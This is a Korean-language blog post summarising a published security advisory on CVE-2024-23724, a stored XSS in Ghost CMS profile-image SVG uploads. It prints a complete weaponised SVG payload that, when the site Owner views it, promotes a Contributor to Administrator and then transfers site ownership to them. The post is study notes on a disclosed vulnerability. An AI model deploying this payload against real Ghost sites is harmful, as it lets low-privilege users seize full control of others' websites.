CVE-2024-23724:Ghost CMS Stored XSS Leading to Owner Takeover

wisdom·2024년 12월 27일
0

📌 원문: https://rhinosecuritylabs.com/research/cve-2024-23724-ghost-cms-stored-xss/ 포스팅을 보고 공부하며 요약 작성한 글입니다.

취약점 개요


  • Rhino Research Team에서 Ghost CMS 애플리케이션의 Stored XSS 취약점을 발견했다.
  • 이 취약점을 이용하면 공격자가 Ghost CMS 인스턴스를 탈취하고 소유권을 뺏어올 수 있다.
  • 소유권을 가져온 뒤 다른 관리자가 해당 공격자의 계정을 삭제할 수 없게 되며, 전체 액세스 권한을 가질 수 있게 된다.
  • 벤더사에서는 해당 취약점을 유효한 벡터로 인식하지 않고 패치하지 않았다. 그래서 취약점을 발견한 Rhino에서 직접 패치를 개발한 뒤 취약점을 공개했다.
  • PoC: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724
  • Pull Request: https://github.com/TryGhost/Ghost/pull/19646

Ghost CMS란?


  • Ghost CMS는 워드프레스와 비슷한 Content Management System 이다.

    Ghost CMS는 오픈 소스의 블로그 및 웹사이트를 만들 수 있는 콘텐츠 관리 시스템입니다. 사용자 친화적인 인터페이스와 세련된 디자인을 제공하며, 개발자들이 자유롭게 커스터마이징할 수 있는 환경을 제공합니다. 또한, SEO 최적화 기능과 소셜 미디어 통합 기능 등을 제공하여 웹사이트 운영을 간편하게 합니다.

CVE-2024-23724: Stored XSS in Profile Image


  • Ghost CMS에서는 아래와 같이 5가지의 역할이 존재한다.
    1. Contributors: 로그인 하여 게시물을 작성할 수 있지만 게시할 순 없음
    2. Authors: 새 게시물과 태그를 만들고 게시할 수 있음
    3. Editors: Contributor와 Author를 초대, 관리, 편집할 수 있음
    4. Administrators: 모든 데이터와 설정을 관리할 수 있는 권한을 가짐
    5. Owner: 청구 정보에 액세스 할 수 있는 관리자. (삭제할 수 없음)
  • 취약점을 악용하기 위해서는 프로필 이미지 업로드 기능을 활용해야 하며, 공격자는 위 5가지 역할 중 적어도 하나의 권한은 필요하다.

Embedding XSS Payload in SVG


  • 프로필 이미지에 SVG 포맷을 허용하는 경우, XSS에 취약할 수 있다.
  • PNG나 JPG 같은 기본 이미지 포맷과 달리, SVG는 XML 베이스이고 JavaScript를 포함할 수 있기 때문이다.
  • DOMPurify를 통해 SVG 파일을 Sanitize 하면 이러한 리스크를 방지할 수 있다.
  • Ghost CMS에서는 DOMPurify와 같은 미티게이션이 적용되어 있지 않아, 악의적으로 조작된 SVG 파일을 프로필 이미지로 업로드하여, 타 사용자가 프로필 이미지를 볼 때 JavaScript가 실행되도록 할 수 있었다.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

Weaponizing XSS: Ghost CMs instance Takeover


  • 가장 낮은 권한인 Contributor에서 가장 높은 권한인 Owner 권한을 탈취할 수 있을지?
  • Owner는 소유권을 다른 사용자에게 양도하는 기능이 존재하는데, 양도할 사용자가 이미 관리자여야 한다.
  • 그래서 Owner가 악성 SVG를 열람했을 때 아래와 같이 동작하도록 페이로드를 구성했다.
    1. 해당 사용자에게 Administrator 권한을 부여한다.
    2. Owner 권한을 부여한다.
  • Owner 권한이 양도되면 공격자는 다른 관리자가 사용할 수 없는 고유한 권한을 갖게 되고, 다른 관리자가 권한을 삭제할 수도 없게 된다.
  • 페이로드를 구성하기 위해서는 다음 정보가 필요하다.
    • User ID
    • Username
    • Slug Name
    • User Email
    • Admin Role ID (Ghost CMS 인스턴스마다 랜덤하게 업데이트 됨)
  • 위 정보는 인가된 사용자가 http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles URL에 접속했을 때 얻을 수 있다.

PoC


  • http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles 를 통해 획득한 정보를 토대로, 아래와 같이 SVG 파일을 생성할 수 있다.
    • SVG 파일
      <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
        <script type="application/ecmascript">
          // First Request
          const
          url1 = 'http://localhost:3001/ghost/api/admin/users/[User-ID]/?include=roles';
          const data1 = {
            users: [{
              id: '[User-ID]',
              name: '[User-Name]',
              slug: '[Slug-Name]',
              email: '[User-Email]',
              profile_image: '',
              bio: '',
              status: 'active',
              comment_notifications: true,
              free_member_signup_notification: true,
              paid_subscription_started_notification: true,
              paid_subscription_canceled_notification: false,
              mention_notifications: true,
              recommendation_notifications: true,
              milestone_notifications: true,
              donation_notifications: true,
              roles: [{
                id: '[Admin-Role-ID]',
                name: 'Administrator',
                description: 'Administrators',
              }],
              url: 'http://localhost:3001/404/'
            }]
          };
      
          fetch(url1, {
            method: 'PUT',
            headers: {
              'Content-Type': 'application/json',
              'x-ghost-version': '5.75',
              'app-pragma': 'no-cache',
              'User-Agent': 'Mozilla/5.0 (Windows NT
          10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
          Gecko) Chrome/117.0.5938.132 Safari/537.36',
              'Accept': '*/*',
              'Origin': 'http://localhost:3001',
              'Sec-Fetch-Site': 'same-origin',
              'Sec-Fetch-Mode': 'cors',
              'Sec-Fetch-Dest': 'empty',
              'Referer': 'http://localhost:3001/ghost/',
              'Accept-Encoding': 'gzip, deflate, br',
              'Accept-Language': 'en-US,en;q=0.9',
            },
            body: JSON.stringify(data1),
          })
          .then(response => {
            if (!response.ok) {
              throw new Error(`HTTP error! Status: ${response.status}`);
            }
            return response.json();
          })
          .then(data => {
            console.log('First Request Success:', data);
      
            // Second Request
            const url2 = 'http://localhost:3001/ghost/api/admin/users/owner/';
            const data2 = {
              owner: [{
                id: '[User-ID]'
              }]
            };
      
            fetch(url2, {
              method: 'PUT',
              headers: {
                'Content-Type': 'application/json',
                'x-ghost-version': '5.75',
                'app-pragma': 'no-cache',
                'User-Agent': 'Mozilla/5.0 (Windows NT
          10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
          Gecko) Chrome/117.0.5938.132 Safari/537.36',
                'Accept': '*/*',
                'Origin': 'http://localhost:3001',
                'Sec-Fetch-Site': 'same-origin',
                'Sec-Fetch-Mode': 'cors',
                'Sec-Fetch-Dest': 'empty',
                'Referer': 'http://localhost:3001/ghost/',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9',
              },
              body: JSON.stringify(data2),
            })
            .then(response => {
              if (!response.ok) {
                throw new Error(`HTTP error! Status: ${response.status}`);
              }
              return response.json();
            })
            .then(data => {
              console.log('Second Request Success:', data);
            })
            .catch(error => {
              console.error('Second Request Error:', error);
            });
          })
          .catch(error => {
            console.error('First Request Error:', error);
          });
        </script>
      </svg>
  • Owner가 악성 SVG 파일을 열람하고 나면, Contributor 계정이 Owner로 바뀐다.
profile
보안, 개발, 일상을 기록합니다

0개의 댓글